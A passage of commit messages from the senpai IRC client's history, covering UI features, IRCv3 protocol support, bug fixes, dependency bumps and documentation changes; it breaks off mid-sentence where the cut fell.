Add displaying +draft/react and unreactions

Add Control+y to copy selected message

Add selecting a single message in timeline

Add displaying message replyto

Implement hiding topic at runtime

Show kick reason and sender

Add inserting formatted text via toggle keybind

This patch adds the ability to insert formatted text by pressing Ctrl+s
to enable formatting, making a set format characters specify how the text
is to be formatting, which is also shown in the input area.
This single-character method is preferred over traditional ** for bold
and italic since it requires read-ahead, and is a seperate mode as to
not have to also implement backwards reading and styling, eg. inputting
a single asterisk will cause the rest of the text to be bold.

To get around this, backslashing can be implemented with backward reading
and the basic formatting characters can be enabled by default, but that
can be a later patch.

Resolves https://todo.sr.ht/~delthas/senpai/93
Credit: https://lists.sr.ht/~delthas/senpai-dev/patches/58333

Show mode change sender

Optionally show quit and part messages

These are shown by default, enable `quitmessages` in the config
file to show them.

Also differenciate between a quit and a part by showing an "x" next
to the nickname instead of a "-" for a quit.

The way this is implemented will hide the following quit messages:

 * "connection closed"
 * "Remote host closed connection"
 * "Quit: "
 * "" (empty)

Signed-off-by: Ferass El Hafidi <vitali64pmemail@protonmail.com>

allow empty messages to be sent and recieved

PRIVMSG can have no content, but it is different than having spaces.
Sending nothing isn't permitted, however, sending a single space is,
and is interpeted as usual on other IRC clients.

Signed-off-by: sewn <sewn@disroot.org>

add config option "buttons"

Allows turning off mouse buttons in the UI while still leaving mouse
support enabled. Defaults to true to match current behaviour.

Add nick-prefix option to show membership on messages

The option is off by default; enable with "nick-prefix true" in the
config. Adds Session.Membership(channel, nick) so callers can look up
a single user's membership without walking the full member list.

Fixes: #88

Add option to disable "is typing" status

This adds the "show-typing" config field, which lets the user disable
the "[user] is typing..." text. By default this is enabled to match
current behavior.

Delete built-image image viewer

Senpai includes a built-in image viewer. This image viewer lacks basic
features such as zooming, panning, and displays a blurry thumbnail of
the linked images.

Rather than aspire to implement all these features into an IRC client,
use the system image viewer instead. Most modern computer systems from
the last few decades include an image viewer already.

This also reduces delay when clicking non-image links, since senpai no
longer has to perform one request to determine if it is an image.

Revert "Support opening irc:// links in senpai"

This reverts commit 8a399a916e2b1277dd792df446a0dde37d0d3c17.

Revert "Add spell checking via harper-ls"

This reverts commit 8f6b08f151bb8fc4b2b301685b9def045cd04f27.

Add Windows binary download link to README

Support setting the version via -ldflags

Add a package-level version variable that can be stamped at build time
with -ldflags "-X git.sr.ht/~delthas/senpai.version=...", letting the
release script and package maintainers report a clean version. The
Makefile wires this through a VERSION variable.

BuildVersion now prefers the injected value and falls back to the build
info only when it carries a real version, so plain builds no longer
report "(devel)".

Fixes: https://todo.sr.ht/~delthas/senpai/206

Support draft/chathistory-end tag for end-of-history detection

Add clipboard upload via /upload

/upload with no argument now streams the current clipboard content
instead of a file, using wl-paste on Wayland or xclip on X11.
Ctrl+Alt+V fills the editor with /upload as a shortcut; Ctrl+V shows
a one-time hint explaining the paste/upload shortcuts.

The upload path now accepts an io.Reader, filename and mimetype, and
supports unknown-size uploads (chunked transfer) for streaming from
the clipboard subprocess without buffering.

Fix member list highlight below last member

Clicking and holding below the last member in the vertical member list
would highlight the last member due to clamping in the draw function.
Remove the clamp so out-of-range memberClicked values simply highlight
nothing.

Update emojis to Unicode 17.0

Set User-Agent header in fetchImage HTTP requests

Image fetching timed out on some hosts (e.g. catbox.moe) because Go's
default HTTP client sends "Go-http-client/2.0" as the User-Agent when
HTTP/2 is negotiated, which certain servers silently block by never
sending response headers.

Set a "senpai/<version>" (or "senpai") User-Agent on all HTTP requests
in fetchImage (HEAD, HTML GET, and image GET). Also close the HEAD
response body and fix minor whitespace.

Fixes: https://todo.sr.ht/~delthas/senpai/230

Replace maps.Keys/slices.Sorted with Go 1.21-compatible code

These functions require Go 1.23 but go.mod declares Go 1.21.

Clean up dead code and minor lint issues

Remove unused linkEvent struct, use strings.ReplaceAll instead of
strings.Replace with -1 count, and fix context leak in tryConnect by
deferring the cancel function.

See https://codeberg.org/lindenii/sensei/commit/2b97db323731064af7d133f161e8aac7b8e89c25

Co-authored-by: Runxi Yu <me@runxiyu.org>

Remove deprecated rand.Seed

Use per-config-path cache files to prevent multi-instance conflicts

Cache files (lastbuffer, laststamp) now include a hash of the config
file path in their filename, so multiple senpai instances with different
configs no longer overwrite each other's state. Falls back to reading
the old unsuffixed files for migration.

See https://codeberg.org/obsoleszenz/senpai/commit/fe77778bcc11de6e5e2018f408599000b9999962

Co-authored-by: obsoleszenz <obsoleszenz@riseup.net>

Use casemapping for buffer comparison in highlight notification

The $HERE variable in the on-highlight script was incorrect for query
buffers when the buffer was created with different casing than the
server uses (e.g. /msg NickName vs server sending from nickname).

See: https://lists.sr.ht/~delthas/senpai-dev/patches/44105

Co-authored-by: ptrcnull <git@ptrcnull.me>

Allow underscores in channel links

Reported-by: Arsen
See: https://codeberg.org/emersion/goguma/issues/340

Mention spell checking is English only for now

Add spell checking via harper-ls

Integrate harper-ls as an LSP spell checker running in the background.
When enabled with `spell-check true`, misspelled words are highlighted
with curly underlines. IRC nicks from the current network are
automatically added to the dictionary to avoid false positives.

Harper-ls is communicated with over stdio using the LSP protocol.
A write channel with backpressure ensures fast typing doesn't overwhelm
the language server. If harper-ls is not installed, the feature is
silently disabled.

Inspired by patches from gildarts and Consolatis, which used
aspell/gospell. This implementation uses harper-ls instead, avoiding
external library dependencies.

See: https://lists.sr.ht/~delthas/senpai-dev/patches/50746
See: https://lists.sr.ht/~delthas/senpai-dev/patches/59148
See: https://github.com/Consolatis/senpai/commit/99c010062d571665ce40e9b04caa10a643196c8e
Fixes: https://todo.sr.ht/~delthas/senpai/99

Don't register click event for ACTION/NOTICE nicks

Clicking the nick column on an ACTION message (displayed as "*") would
try to open a buffer for "*", which is not a valid user.

Simplified alternative to https://github.com/delthas/senpai/pull/2

Co-authored-by: sewn <sewn@disroot.org>
Fixes: https://todo.sr.ht/~delthas/senpai/242

Sort completions and fix duplicates for /msg

Sort /msg completions alphabetically by nick, and command completions
alphabetically by name. Other completion sources were already sorted
(channel members by power level, emoji alphabetically, uploads by name).

Skip channel member completions when input starts with /msg, since
completionsMsg already covers all known users. This fixes duplicate
completions showing up for /msg.

Co-authored-by: Hubert Hirtz <hubert@hirtz.pm>

Check for CLIENTTAGDENY before sending @+typing

ref: https://ircv3.net/specs/extensions/message-tags#rpl_isupport-tokens

Set the Display attribute for /msg completions

This avoids the spaces after the nicks, like what
completionsChannelMembers does.

Fix nicks with brackets becoming invisible after restart

s.nickCf was computed at RPL_WELCOME (001) using the default casemap
(rfc1459), but ISUPPORT (005) arrives after and may change the casemap
to ascii. For nicks containing brackets (e.g. [mynick]), rfc1459
casemapping converts [ to { and ] to }, while ascii does not. This
caused IsMe() to fail for all subsequent JOINs, so channels were never
added to the buffer list.

Recompute s.nickCf and rekey s.users when the casemap changes in
ISUPPORT.

Fixes: https://todo.sr.ht/~delthas/senpai/231

Add Alt+A keybinding for jumping to next unread buffer

This is a standard keybinding in irssi and weechat, and was frequently
requested by users. It maps to the existing buffer-next-unread action,
which is also available via Shift+Right.

Fixes: https://todo.sr.ht/~delthas/senpai/236

Better advertise /back in docs

Users new to IRC might not know how to deal with away messages, and
experienced users might want to use /away without arguments.

Clarify no-arg away semantics

Closes: https://todo.sr.ht/~delthas/senpai/238

Add cursor-delete-next-word on Alt+Suppr

At the request of rnkn on IRC. Thanks!

Bump vaxis

Bump to go 1.21

Add CI builds

Bump go-libnp

This drops the CGo requirement on Windows

Bump go-localeinfo

Makes Windows date format detection work even without CGo

Fix uploading drag-and-drop files on some terminals

Actually a workaround :P

ghostty and iTerm2 escape the file path before passing it to senpai.
If the file cannot be resolved, try again after un-escaping the
file path. Not great, but better than a switch on terminal ID.

Also, make sure to trim any extra newline, even if passed as Ctrl+j
(for you, ghostty!).

See: https://github.com/ghostty-org/ghostty/discussions/10029
Fixes: https://todo.sr.ht/~delthas/senpai/209

Fix UPLOAD autocompletions for relative paths

Fix broken Compose input on ghostty

See: https://github.com/ghostty-org/ghostty/discussions/10026

Fix panic on image preview on terminals without cell size

Thanks to Kieran Musser for reporting the issue!

Fixes: https://todo.sr.ht/~delthas/senpai/227

Fix broken connection to UnrealIRCd

See: https://bugs.unrealircd.org/view.php?id=6598

Fix typo in panic message

'found' -> 'find' in panic message

Support STATUSMSG-prefixed messages

Parse STATUSMSG prefixes in incoming messages, and push those messages
to the correct channel with the prefix indicated in the interface.

This also marks channel-context messages with a prefix.

Changes to ui.Line were added in order to support multiple styles
in the head.

Implements: https://todo.sr.ht/~delthas/senpai/183
Co-Authored-By: Taavi Väänänen <taavi@majava.org>

Support opening irc:// links in senpai

Fix input on Wezterm with Kitty keyboard protocol enabled

In that case, Wezterm seems to send text for events that should not
be generating them. Sanitize these events to avoid treating them
as text events.

Optimize loading previews of EXIF-rotated images

Support screenshots on Darwin

Fix building on !linux

Add /SCREENSHOT to take and upload screenshots

doc: Drop bogus line

Thanks to divlamir for finding the issue.

Fix missing ui/keynames.go file

Support custom keyboard shortcuts

Only show mouse buttons when mouse is enabled

i guess it means the user cannot discover features, but for users who go
out of their ways to disable mouse it just clutters the screen.

doc: link to senpai(5) in -config

More prominent link to senpai(5) than the one at the bottom of the page.

Document supported environment variables

doc: duplicate \ to account for scdoc escapes

scdoc transforms \\ to \, so end users weren't seeing the correct sed
command in their manpage viewer.

doc: remove stray dashes in senpai.5.scd

Support IPv6 zone identifiers in address

We previously supported them in their URL-encoded form, but this
was not intuitive. Also support them if passed unencoded.

Thanks to socksinspace for finding this issue.

Fix autocompletion for relative UPLOAD paths

Make UPLOAD paths relative to the user home directory

Closes: https://todo.sr.ht/~delthas/senpai/211

Fix panic on PRIVMSG/NOTICE without a prefix

Thanks to cjj for finding the issue.

Thanks to gamesurge for hosting an obsolete IRCd ;-)

Fixes: https://todo.sr.ht/~delthas/senpai/208

Fix very rarely inserting empty new lines or truncating lines

This could happen for messages containing a very long word with
exactly the width of the timeline.

Also kudos to taiite for making line.NewLines, no bugs found for
5 years... until now ;-)

Fix trimming end marker on CTCP messages

Support METADATA (pin/mute) for user buffers

Also, fix not monitoring users again after a reconnect in some
cases.

See: https://codeberg.org/emersion/soju/pulls/54

Fix theoretical crash on read event on overlay tab

I am not sure how this could happen in practice but a user has had
this panic.

Thanks to one-star-chef for finding the issue.

Fix incorrect cursor position when editing mutli-line text

Thanks to valr for finding the issue.

Fixes: https://todo.sr.ht/~delthas/senpai/199

Defer unimportant caps until CAP LS response

This keeps our conn-reg 0-RTT but introduces a theoretical race
condition on these CAPs (e.g. if we receive a SETNAME right after
conn-reg).

This helps us go below 20 messages for our conn-reg batch, which
is the default limit on solanum and the one used by Libera.

Fixes: https://todo.sr.ht/~delthas/senpai/200

doc: Mention system package repositories

Bump dependencies

Improve color contrast of status text by blending fg and bg to RGB

Fixes: https://todo.sr.ht/~delthas/senpai/198

Fix chat history fetch loop for targets containing uppercase chars

We would previously flood the server with CHATHISTORY BEFORE on
channels with mixed case.

Fix duplicate direct messages in rare cases

Fix retrying connection after App exits

Thanks to Antonio Mika <me@antoniomika.me> for helping me find
this issue.

This leaves a possible theoretical race condition, but should not
really happen in practice and can only be properly fixed by
refactoring existing code to use contexts.

doc: Clarify password-cmd

Clean up goroutines after App closes

Co-authored-by: Antonio Mika <me@antoniomika.me>

Allow passing in console to vaxis

Update documentation

Add "colors nicks self" to set own nick color only

Fixes: https://todo.sr.ht/~delthas/senpai/195

Add workaround support for RGB colors on Windows Terminal

Fix sending invalid trailing semicolon in tags

See: https://github.com/progval/matrix2051/issues/77

Work around broken Associated Text on iTerm2

See: https://gitlab.com/gnachman/iterm2/-/issues/12177

Use alternative gray color on color schemes with bg == gray

With these heuristics, "gray" text should always be readable
regardless of the theme, even for 8-color themes.

Fixes: https://todo.sr.ht/~delthas/senpai/160

Always show the message time after a message date

This can help know at which specific time a long discussion
happened.

Thanks to ~sethkush for the feature request.

Fixes: https://todo.sr.ht/~delthas/senpai/179

Bump vaxis

This fixes restoring the cursor shape on exit.

See: https://todo.sr.ht/~delthas/senpai/164

Censor passwords in debug logs

Fixes: https://todo.sr.ht/~delthas/senpai/176

Fix highlight first action on start

Thanks to ~sewn for filing this bug.

Fixes: https://todo.sr.ht/~delthas/senpai/182

Prefer $XDG_CONFIG_HOME over platform's directory on MacOS

This commit implements the preference of $XDG_CONFIG_HOME over the
platform's native equivalent on MacOS.  This allows users to
use $HOME/.config as preferred path for storing configurations. This is
preferred by a lot of people, who are using Git repositories to backup
their dotfiles.  Furthermore, there is precedence of macOS applications
storing their configuration files in $HOME/.config by default.

Also added: a "migration" from the preivous configuration file
for users that had already this envrionment variable set.

Signed-off-by: Jan Fooken <jan@faulty.computer>
Co-authored-by: delthas <delthas@dille.cc>
Fixes: https://todo.sr.ht/~delthas/senpai/174

Update emoji completion emoji list

The upstream gemoji repo looks abandoned for now.

Show members with latest messages first in member completion

Fixes: https://todo.sr.ht/~delthas/senpai/139

extended color scheme: use rgb colors

Also detect background color & vary lightness.

Add a -version flag and display the version on start

Add a -version flag that displays the current senpai version and exits.

This makes use of the new Go 1.24 feature that embeds VCS information
in the binary.

See: https://tip.golang.org/doc/go1.24#go-command

Allow scrolling topic left and right

Co-authored-by: delthas <delthas@dille.cc>

Update outdated advanced example configuration

The custom highlight script should not really be used anymore.

Bump dependencies

Avoid considering hash numbers as channels

References like #1234 are much more likely to be references to
ticket numbers than channels.

Bump go-libnp

Bump go-libnp

Fix warning message on server without METADATA and SASL

Enable pinning and muting buffers

This is done with metadata-2 and stored server side.

This requires soju > 0.8.2 (so, master at the time of writing).

Fixes: https://todo.sr.ht/~delthas/senpai/84

Scroll to buffer in buffer list on Alt+N

Thanks to kucha on #senpai for finding this issue.

Fix scrolling to highlight on buffers with unread messages.

Thanks to kucha on #senpai for finding this issue.

Make image preview timeouts more aggressive

We could previously wait up to 6 seconds for unresponsive hosts.

Support links to channels

Clicking on #foo will now jump to it or try joining it.

Optimize large line merging

Avoids getting to 100% CPU when sr.ht restarts ;-)

Display RPL_STATSCONN nicely

Update dependencies

Fix escaping tag values twice

Make max upload file size dynamic

Update dependencies

Tentatively mute server notices pre-connection-registration

Default message prefixes to the server prefix

Fixes: https://todo.sr.ht/~delthas/senpai/172

Add notice about using bouncers with senpai

NP: Do not show empty artist names

Do not display image previews of video embedded objects

Just open the link externally, when mouse links are enabled.

Try opening links as previews based on their content type

Instead of their URL path file extension.

Additionally, add a specific case for Twitter/X, which has broken
embeds at the moment. I can finally have my Twitter image embeds
in my terminal :-)

notify: Fix notification icon name

Gnome already displayed the correct icon, thanks to app-name and
desktop-entry.

Fix make install on Mac OS

Fixes: https://todo.sr.ht/~delthas/senpai/170

Makefile: Use install(1) rather than cp(1) for installing

If the user uses a restrictive umask, the files copied via cp(1) would
not be world-executable. Most of the time I install to /usr/local/bin as
root, which causes the installed binaries to be not executable by normal
users.

By default, install(1) uses -rwxr-xr-x, which solves this.

Signed-off-by: Runxi Yu <me@runxiyu.org>

Add image EXIF rotation support

Forgot to git add :-)

Bump Vaxis

Preview EXIF-rotated images with the correct rotation

See: https://github.com/golang/go/issues/4341
See: https://github.com/disintegration/imageorient

Use labeled response when available

We do not use it inside senpai; but this enables third-party IRC
analysis tools/proxies that analyze messages flows to have this
information at hand in messages.

Open non-image links with unmodified mouse left clicks on foot

Show an ellipsis when more completions are available

commands: Add auto-completion to /join

This also adds a small "framework" to support async completions.

Render formatting and links in topics

Update the mouse cursor even when no button is pressed

Thanks to inwit for the suggestion.

Add support for uploading files

Either with a command or a drag and drop of a file.

Also support autocompletion of file paths.

Support ctrl+click to open links on foot

I don't really like ctrl+shift+o :P

Fix multi-line hyperlinks on messages starting with the link

Fix panic on /query on disconnected network

Fix mouse cursor shape when resizing panels

Collapse more status changes (join/part/quit/mode)

Fixes: https://todo.sr.ht/~delthas/senpai/94

Fix previous buffer staying highlighted in rare cases

Make nicks in the timeline clickable

Fixes: https://todo.sr.ht/~delthas/senpai/92

Only consider messages read when the terminal is focused

Thanks to terminal focus events.

Fixes: https://todo.sr.ht/~delthas/senpai/166

Add the count of unread highlights to the window title

Fixes: https://todo.sr.ht/~delthas/senpai/165

Fix sorting members with multiple prefixes

Bump Vaxis

This brings a 10x speedup to showing image previews on SIXEL
terminals (e.g. foot).

Sort powered users by power level

Instead of just alphabetically between them.

app: treat Shift+Backspace as Backspace

before ffb806d777cb0123d276f0c03463fa0fdda1a4ae, both Shift+Backspace
and Ctrl+Backspace acted as "erase previous character", but since then
Backspace does nothing if modified by Shift or Ctrl. I find that I often
try to backspace while still having Shift held down from a previous
character I typed, so make Shift+Backspace work as it did previously.

Autocomplete immediately when only one result is found

Fixes: https://todo.sr.ht/~delthas/senpai/142

Add CTRL+K as a shortcut to buffer; filter buffer view by name

This makes CTRL+K behave as a real channel switcher, akin to
Discord's CTRL+K.

Fixes: https://todo.sr.ht/~delthas/senpai/83

Accept any prefix of /BUFFER as the buffer command

This will reflect the index prefix that appears when typing /b.

Keep cursor position on reducing the terminal width

Fixes: https://todo.sr.ht/~delthas/senpai/138

Fix rare panic on scrolling horizontal channels on small terminals

Fixes: https://todo.sr.ht/~delthas/senpai/161

Fetch 2 pages of history of the foreground buffer

This makes scrolling the backlog much smoother, as there are always
some messages waiting above the cursor when scrolling. Similarly to
e.g. an Android RecyclerView.

Make Enter pick an autocompletion when the menu is open

Fixes: https://todo.sr.ht/~delthas/senpai/156

Fix rare panic on Control+E on small windows

Fixes: https://todo.sr.ht/~delthas/senpai/144

Fix build on Mac OS

Add link image previews

This is made so easy thanks to Vaxis!

Fix autocompletion highlight

Split long messages on grapheme cluster boundaries

This fixes possibly sending invalid emoji sequences in very rare
cases in long messages.

Fixes: https://todo.sr.ht/~delthas/senpai/78

Move to Vaxis (from vaxis-tcell)

This brings, at long last, proper multi-codepoint grapheme cluster
support. Meaning, editing ZWJ emoji now works flawlessly.

Fixes: https://todo.sr.ht/~delthas/senpai/57

Bump vaxis

Thanks to angle for the notice.

Bump vaxis (fix mouse events on Zellij)

session: remove "The user" part from whois

Signed-off-by: Ferass El Hafidi <vitali64pmemail@protonmail.com>

session: don't ignore rplHelpstart

It isn't really a delimiter, it shows the command syntax of the command
you need help in, like so:

	:irc.test 704 f_ wallops :/WALLOPS :<message>  # <- rplHelpstart
	:irc.test 705 f_ wallops :
	:irc.test 705 f_ wallops :Sends a message to all +w users.
	:irc.test 705 f_ wallops :
	:irc.test 706 f_ wallops :End of /HELPOP.

Signed-off-by: Ferass El Hafidi <vitali64pmemail@protonmail.com>

irc: show oper class

Signed-off-by: Ferass El Hafidi <vitali64pmemail@protonmail.com>

Fix compilation on non-Linux (again)

Fix compilation on non-Linux

Edit multi-line pasted content before sending it

This avoids accidentally sending multiple lines on an unexpected
clipboard paste.

app: show who changed the topic when it changes

mouse: add mouse shape and events

Signed-off-by: Tim Culverhouse <tim@timculverhouse.com>

ui: use vaxis rendering engine

Signed-off-by: Tim Culverhouse <tim@timculverhouse.com>

Add icon, custom notifications through local integrations

This adds custom notifications sent directly (bypassing the
terminal), that enables us to automatically dismiss them, add a
nice icon, and to automatically switch to the appropriate buffer
when clicked.

This can be disabled with `local-integrations false` in the config
if any issues are encountered. If you do, please open a ticket so
this can be investigated. (I'm aware this might be a bit
experimental.)

This also adds support for OSC 176 ([1]), which enables users to
use senpai as an "application", meaning it can be started from the
application launcher, pinned to a task bar, have a proper icon and
standalone window grouping, etc. This is at the time of writing
only supported on foot.

[1]: https://gist.github.com/delthas/d451e2cc1573bb2364839849c7117239

Add a simple Help in the network vertical "member" sidebar

Since networks do not have any members, we can reuse this sidebar
to add a few Help commands (that literally write commands to the
text input).

We're assuming that advanced users that hide the sidebar will know
how to join a channel.

commands: Make HELP slightly more compact

Now that we have many more commands, avoid any extra padding.

commands: Add BOUNCER command

Makes it slightly easier to interact with the soju bouncer.

Also show bouncer messages as noticed (in the current buffer).

config: Don't wrap error for password-cmd failure

If the password command fails, the error will contain
"no such file or directory", so that senpai starts the configuration
assistant.
Simply not wrapping the error fixes the program flow.

Sort imports

Mention pressing escape to close /search

Handle empty message properly

Sending nothing in senpai makes the if check to work properly, however
if sent nothing but a space, senpai will panic, as parseCommand assumes
it is alphanumerical and not just a space.

This commit fixes it by making parseCommand return false instead of
panic when a message is empty.

Co-authored-by: delthas <delthas@dille.cc>
Co-authored-by: sewn <sewn@disroot.org>

doc: Fix not requiring a pre-created configuration file

Add auto-completion suggestion popup

Inspired by Consolatis from the referenced GitHub PR.

See: https://github.com/Consolatis/senpai/pull/3/files
Fixes: https://todo.sr.ht/~delthas/senpai/130

Add CTRL+F as a search shortcut

This will be more intuitive for users.

Send pings, retry connecting after sleep/long pause

Fix building documentation when not in a git repository

e.g. when building from a release tarball

Move from ~taiite to ~senpai

Do not require git for building documentation

Make man pages build reproducible

See: https://git.sr.ht/~sircmpwn/scdoc/tree/ca7aad3e74178dda6ff93cadd962594ae0a2c174/item/src/main.c#L77
See: https://reproducible-builds.org/docs/source-date-epoch/
See: https://gitlab.archlinux.org/archlinux/packaging/packages/senpai/-/blob/0.2.0-3/PKGBUILD?ref_type=tags#L52

Add automatic configuration for pyonji

doc: Mention tracker email and pyonji

Bail early if password-cmd returns no data

Fix calling highlight with HERE=1 on different networks

Make buffer indexes for /buffer start at 1

This is more intuitive for users. (A file starts at line 1, a list
of buffer starts at buffer 1).

It also aligns the number with the shortcut for Alt+$number.

Thanks to Eric Bower <me@erock.io> for finding the initial bug.

See: https://lists.sr.ht/~delthas/senpai-dev/patches/33541

Drop unnecessary fmt.Sprintf

Cleanup code

Add support for standard readline bindings for C-a and C-e

Use Ctrl-A and Ctrl-E to move to the beginning/end of the input line

Fixes: https://todo.sr.ht/~taiite/senpai/124

Parse geo: links

Totally unrelated to goguma adding support for sharing one's
location.

Add additional debug for messages of unknown sessions

See: https://todo.sr.ht/~taiite/senpai/120

Prompt for confirmation for messages that look like commands

Fixes: https://todo.sr.ht/~taiite/senpai/129

Accept sending unknown command after a confirmation

Fixes: https://todo.sr.ht/~taiite/senpai/125

Fix vertical scrolling of buffers when navigating with keyboard

Add miscellaneous commands and replies support

See: https://todo.sr.ht/~taiite/senpai/125

Add AWAY and BACK commands

Fixes: https://todo.sr.ht/~taiite/senpai/118

Hide RPL_HOSTHIDDEN messages

Those are too advanced for senpai.

Pretty-print channel mode messages

Show only the topic creator nick on /TOPIC

We don't really care about the ident or host.

Add a LIST command

Not very user-friendly for now, but better than /QUOTE LIST.

Fixes: https://todo.sr.ht/~taiite/senpai/121

Add an optional message argument to KICK

Fixes: https://todo.sr.ht/~taiite/senpai/126

Allow running more commands on the server buffer

Fixes: https://todo.sr.ht/~taiite/senpai/127

Support color names in configuration

Using "green" is much nicer than "2".

Add a fixed color scheme for nicks

Fixes: https://todo.sr.ht/~taiite/senpai/122

Auto-complete emoji

When the user types :gri and presses <tab>, senpai will cycle through
autocompletion of emoji starting with that sequence, eg :grinning:

Close buffer on mouse middle click

Will be much clearer to users than /part.

Fixes: https://todo.sr.ht/~taiite/senpai/123

Keep current buffer when deleting a buffer higher in the list

Show the number of members in buffers

update git clone to pull from repository

Mention the senpai live SSH demo

Add the -nickname CLI option

This enables configuring the nickname with a CLI argument, which
could be useful for e.g. public instances started with a script.

Add the transient config option

This enables ephemeral, no disk runs for e.g. public instances.

Drop the cmd/test client

It was untested and unused.

Recommend using make by default

Now that scdoc is optional, it should be easier for users.

Add .desktop entry

And install it in make install ;-)

doc: Fix installation instructions

Running go install from the URL is not supported because of the
replace directives in the go.mod.

Support "ircs+insecure://" scheme for connection addr

This creates a TLS connection which will accept any remote certificate.

Which is dangerous, but can be handy in a pinch.

Besides, who am I, your mom?! 🙂

Fix tls configuration input

`Sscan` does not parse "yes" or "no" to true or false. So inputting
"yes" yields a false on `tls` variable, leaving the address in the
configuration file with "irc+insecure://".

commands: add /tableflip command

Add a command to flip the table

Signed-off-by: Tim Culverhouse <tim@timculverhouse.com>

Move the horizontal channel list on alt+left/alt+right

This was done for CTRL+P and CTRL+N but not for their ALT+arrows
counterparts.

Thanks to low-key for finding the issue.

Make the unread ruler quieter

Bump tcell / Fix alt arrow keys not working

See: https://github.com/gdamore/tcell/pull/624

doc: Clarify contributing instructions

Allow to overwrite makefile variables

This allows user to overwrite make's default value. This is useful if
you want to install it into another folder, like with:

```
PREFIX=$HOME/.local make install
```

Make the unread ruler smaller

Make the unread message ruler quieter

Force resetting the cursor style to default on exit

See: https://github.com/gdamore/tcell/issues/623

Make the unread message marker softer

Add desktop notifications on highlight

This is supported on some modern terminals, like foot.

Set terminal window title.

This will change the title of the terminal window to the buffer name
in supported terminals.

Co-authored-by: delthas <delthas@dille.cc>

Use tcell fork

Here we go again :-)

See: https://github.com/delthas/tcell

Refresh tab when it changes after deletion (e.g. PART)

Use a static bar cursor where supported

This looks cooler than a blinking bar :-)

Show an "unread" indicator bar

When switching to a channel, show a ruler at the last unread position.

Keep the previous "last read" ruler for the focused buffer, since the
"last read" timestamp is updated as soon as the buffer is focused (which
would result in the ruler always rendering at the bottom).

Also add a special case in `SetRead` for when the "last read" timestamp
is received from the server _after_ the buffer was focused. This happens
basically for the buffer that was focused at start-up.

Fixes: https://todo.sr.ht/~taiite/senpai/76
Co-authored-by: delthas <delthas@dille.cc>

Highlight channels with unread messages at startup

When processing history messages, if any of them are newer than the
channel's "last seen" timestamp, properly highlight the corresponding
channel.

Fixes: https://todo.sr.ht/~taiite/senpai/112

Process "last seen" markers of joined channels

Previously, senpai received MARKREAD events of newly joined channels but
dropped them, because they were received before the RPL_ENDOFNAMES which
marks the ends of the initial channel join batch.

This fixes the issue by storing the read marker, then using it in the
channel join event so that it can be set in the channel.

Implements NextUnreadBuffer and PreviousUnreadBuffer

These actions are bound to Shift+Right and Shift+Left.

Add option to hide join/part messages

The current behavior (showing joins/parts) is the default behavior.

config: add status color sub-directive

* adds "status" to color config parsing
* unifies ConfigColors types across app and buffer configs
* use Status color for event foreground colors

doc: Advertise SEARCH on the main doc

add /shrug command

Signed-off-by: Vlad-Stefan Harbuz <vlad@vladh.net>

Use 'CHATHISTORY LATEST' instead of 'CHATHISTORY BEFORE' when possible

1. it works on servers which don't support timestamp= anchors
2. it will make it easier to add support for msgid= anchors in a future commit
   (it's not possible to use 'CHATHISTORY BEFORE' if we don't already have a msgid)
3. It avoids duplicating or missing messages if the server's clock differs from the
   client's.

Add setup assistant

I can't be bothered to create configuration folders and files
manually :-)

Request standard-replies

We already support displaying any standard reply.

See: https://github.com/ircv3/ircv3-specifications/pull/506

motd: Allow running from a server buffer

Only show one connected message per reconnection

Show connected messages in the current buffer as well

Backoff from 0 seconds to 1 minute on reconnect

Resets on successful connection.

Hide on-register RPL_UMODEIS

Show MOTD in server buffer only

Also hide MOTD start and end messages.

np: Bump libnp & be more verbose with errors

Fix failing on addresses with a literal IP address without URLs

The configuration
    addr 127.0.0.1:12345
should now work again.

Implement /OPER

Fixes: https://todo.sr.ht/~taiite/senpai/105

Bump go-libnp

This fixes a critical build issue introduced in [1] where go-libnp would
fail building on Linux, with:

    C source files not allowed when not using cgo or SWIG: np_util.c

[1]: a8e1b1b416c28985c58f8a5c4a4c8867d0eaf660

Move /NP code to go-libnp

This enables /NP to work on Windows.

See: https://github.com/delthas/go-libnp

Prevent possible deadlock in the typing system

When being flooded by typing notifications, we could steal the lock from
the routine supposed to empty the notification channel.

This caused a possible deadlock in rare cases.

Fix processing CHATHISTORY TAGMSG as standalone messages

Receiving a TAGMSG in chathistory causes the handler to return nil.

Previously this caused the handler to be called again without the
playblack flag, causing us to emit events out of their history context.

This meant we would show typing notifications for users from chathistory
batches.

Soju will soon be able to send TAGMSG messages in its chathistory, so
we're fixing that now.

doc: Fix trivial typo

Fix failing to parse host:port IRC URLs

This fixes a regression introduced in [1].

[1]: 68e1efcf0612c635ea186676559883e791552d30

Implement /NP

This queries the system for the current song being played. This uses
DBus & MPRIS/xesam.

The priority is any player in playing state > any player in paused
state.

Only players in the playing or paused state, with a valid song title are
considered.

Add documentation for /MOTD

Implement /MOTD

Support irc URLs in the config addr

Fixes: https://todo.sr.ht/~taiite/senpai/106

Enable receiving away updates for private buffers

We just need to enable extended-monitor :-)

Print date as dd/mm or mm/dd depending on the user locale

Overkill, but this was a nice weekend project :-)

Fixes: https://todo.sr.ht/~taiite/senpai/107

Add a 10s timeout to connect + TLS handshake

Render the Unicode replacement character properly

Previously, we stopped rendering a line on its first Unicode replacement
character, because we used that special value for detecting invalid
Unicode bytes.

Now that we pre-process incoming strings to replace invalid Unicode
bytes with the Unicode replacement character [1], there is no need to
stop rendering a string on this character: it should just be passed
through as is.

[1]: 700139404044730a726af7cd57e3d2dbc07871ea

Clear highlights from MARKREAD when only NotifyNone lines are left

Previously, we did not clear buffers highlight statuses on MARKREAD if
there was any unread line after it.

This meant that if we received a plain message, than a join message, and
some other device sent us a read marker for the plain message, we would
still highlight the buffer. But we should not: a join message should not
highlight the buffer.

This is a recurrent use case because some clients do not display join
mesasges and therefore do not send read markers for it.

This updates the logic to actually store the notify level (in the line)
and uses it to reset the highlight status when only NotifyNone messages
(or no messages) are left.

Bump tcell version

tcell just got a bugfix for OSC 8 hyperlink IDs.

See: https://github.com/gdamore/tcell/commit/ede1dd5ee68071a873d425e749bcbde04f1a1cc3

Fix requesting CHATHISTORY TARGETS with invalid timestamps

Previously, we sent the CHATHISTORY TARGETS start time with an incorrect
offset equal to the system time offset.

This means that we only reopened private buffers from the last app close
+ N hours on a system with a N-hour time offset.

This fixes the issue by saving the stamp as UTC, and also making sure to
format any time offset correctly.

Fix OSC 8 hyperlink ID format

I meant to add 0-padding to avoid spaces.

Add OSC 8 hyperlink IDs

OSC 8 hyperlink ID support was merged into tcell. We can now use those
IDs to help terminal emulators identify links spanning multiple lines,
possibly highlighting the whole link whe it is hovered, or creating a
